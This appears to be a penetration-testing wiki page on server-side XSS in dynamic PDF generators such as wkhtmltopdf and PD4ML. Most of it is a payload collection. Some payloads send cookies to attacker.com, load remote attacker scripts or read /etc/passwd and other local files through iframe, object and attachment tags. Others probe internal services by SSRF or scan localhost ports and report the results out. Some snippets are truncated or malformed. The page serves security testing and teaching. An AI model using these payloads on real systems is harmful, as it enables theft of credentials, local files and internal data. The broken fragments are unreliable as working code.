Ask or search…
Comment on page

Server Side XSS (Dynamic PDF)

Server Side XSS (Dynamic PDF)

If a web page is creating a PDF using user controlled input, you can try to trick the bot that is creating the PDF into executing arbitrary JS code. So, if the PDF creator bot finds some kind of HTML tags, it is going to interpret them, and you can abuse this behaviour to cause a Server XSS.
Please, notice that the <script></script> tags don't work always, so you will need a different method to execute JS (for example, abusing <img ). Also, note that in a regular exploitation you will be able to see/download the created pdf, so you will be able to see everything you write via JS (using document.write() for example). But, if you cannot see the created PDF, you will probably need extract the information making web request to you (Blind).
  • wkhtmltopdf: This is an open source command line tool that uses the WebKit rendering engine to convert HTML and CSS into PDF documents.
  • TCPDF: A PHP library for generating PDF documents that supports a wide range of features, including images, graphics, and encryption.
  • PDFKit : A Node.js library that can be used to generate PDF documents from HTML and CSS.
  • iText: A Java-based library for generating PDF documents that supports a range of features, including digital signatures and form filling.
  • FPDF: A PHP library for generating PDF documents that is lightweight and easy to use.



<!-- Basic discovery, Write somthing-->
<img src="x" onerror="document.write('test')" />
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>
<!--Basic blind discovery, load a resource-->
<img src="http://attacker.com"/>
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
<link rel=attachment href="http://attacker.com">


Any of the previous of following payloads may be used inside this SVG payload. One iframe accessing Burpcollab subdomain and another one accessing the metadata endpoint are put as examples.
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
<foreignObject width="800" height="500">
<body xmlns="http://www.w3.org/1999/xhtml">
<iframe src="http://redacted.burpcollaborator.net" width="800" height="500"></iframe>
<iframe src="" width="800" height="500"></iframe>
<svg width="100%" height="100%" viewBox="0 0 100 100"
<circle cx="50" cy="50" r="45" fill="green"
<script type="text/javascript">
// <![CDATA[
// ]]>
You can find a lot other SVG payloads in https://github.com/allanlw/svg-cheatsheet

Path disclosure

<!-- If the bot is accessing a file:// path, you will discover the internal path
if not, you will at least have wich path the bot is accessing -->
<img src="x" onerror="document.write(window.location)" />
<script> document.write(window.location) </script>

Load an external script

The best conformable way to exploit this vulnerability is to abuse the vulnerability to make the bot load a script you control locally. Then, you will be able to change the payload locally and make the bot load it with the same code every time.
<script src="http://attacker.com/myscripts.js"></script>
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>

Read local file / SSRF

Change file:///etc/passwd for for example to try to access an external web page (SSRF).
If SSRF is allowed, but you cannot reach an interesting domain or IP, check this page for potential bypasses.
x=new XMLHttpRequest;
xhzeem = new XMLHttpRequest();
xhzeem.onload = function(){document.write(this.responseText);}
xhzeem.onerror = function(){document.write('failed!')}
<iframe src=file:///etc/passwd></iframe>
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<link rel=attachment href="file:///root/secret.txt">
<object data="file:///etc/passwd">
<portal src="file:///etc/passwd" id=portal>
<embed src="file:///etc/passwd>" width="400" height="400">
<style><iframe src="file:///etc/passwd">
<img src='x' onerror='document.write('<iframe src=file:///etc/passwd></iframe>')'/>&text=&width=500&height=500
<meta http-equiv="refresh" content="0;url=file:///etc/passwd" />
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />

Bot delay

<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
let time = 500;
let img = document.createElement("img");
img.src = `https://attacker.com/ping?time=${time}ms`;
time += 500;
}, 500);
<img src="https://attacker.com/delay">

Port Scan

<!--Scan local port and receive a ping indicating which ones are found-->
const checkPort = (port) => {
fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
let img = document.createElement("img");
img.src = `http://attacker.com/ping?port=${port}`;
for(let i=0; i<1000; i++) {
<img src="https://attacker.com/startingScan">


This vulnerability can be transformed very easily in a SSRF (as you can make the script load external resources). So just try to exploit it (read some metadata?).

Attachments: PD4ML

There are some HTML 2 PDF engines that allow to specify attachments for the PDF, like PD4ML. You can abuse this feature to attach any local file to the PDF. To open the attachment I opened the file with Firefox and double clicked the Paperclip symbol to store the attachment as a new file. Capturing the PDF response with burp should also show the attachment in cleat text inside the PDF.
<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
<html><pd4ml:attachment src="/etc/passwd" description="attachment sample" icon="Paperclip"/></html>